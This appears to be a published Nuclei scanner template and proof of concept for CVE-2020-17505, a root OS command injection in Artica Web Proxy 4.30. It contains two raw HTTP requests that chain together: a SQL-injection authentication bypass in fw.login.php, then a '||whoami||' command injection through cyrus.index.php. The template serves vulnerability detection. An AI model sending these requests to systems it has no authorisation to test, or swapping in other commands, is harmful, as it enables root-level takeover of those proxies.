CVE-2020-17505: Artica Web Proxy 4.30 - OS Command Injection

2025-08-01 Artica Web Proxy PoC Public

Description

Artica Web Proxy 4.30 allows an authenticated remote attacker to inject commands via the service-cmds parameter in cyrus.php. These commands are executed with root privileges via service_cmds_peform.

PoC

id: CVE-2020-17505

info:
  name: Artica Web Proxy 4.30 - OS Command Injection
  author: dwisiswant0
  severity: high
  description: Artica Web Proxy 4.30 allows an authenticated remote attacker to inject commands via the service-cmds parameter in cyrus.php. These commands are executed with root privileges via service_cmds_peform.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Upgrade to a patched version of Artica Web Proxy or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/159267/Artica-Proxy-4.30.000000-Authentication-Bypass-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17505
    - https://blog.max0x4141.com/post/artica_proxy/
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-17505
    cwe-id: CWE-78
    epss-score: 0.82165
    epss-percentile: 0.99638
    cpe: cpe:2.3:a:articatech:web_proxy:4.30.000000:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: articatech
    product: web_proxy
  tags: cve,cve2020,proxy,packetstorm,rce,artica,articatech,vkev,vuln

http:
  - raw:
      - |
        GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "array(2)"
          - "Position: ||whoami||"
          - "root"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009c092e843d8319d9c1d567b34595c45eb5bae5df00a1926fbed81ecbdc807c4e02205456d0012e83c1d2e674ed7fc634cc4ce620b0ae97ea512e2bf71c54fdb2804e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities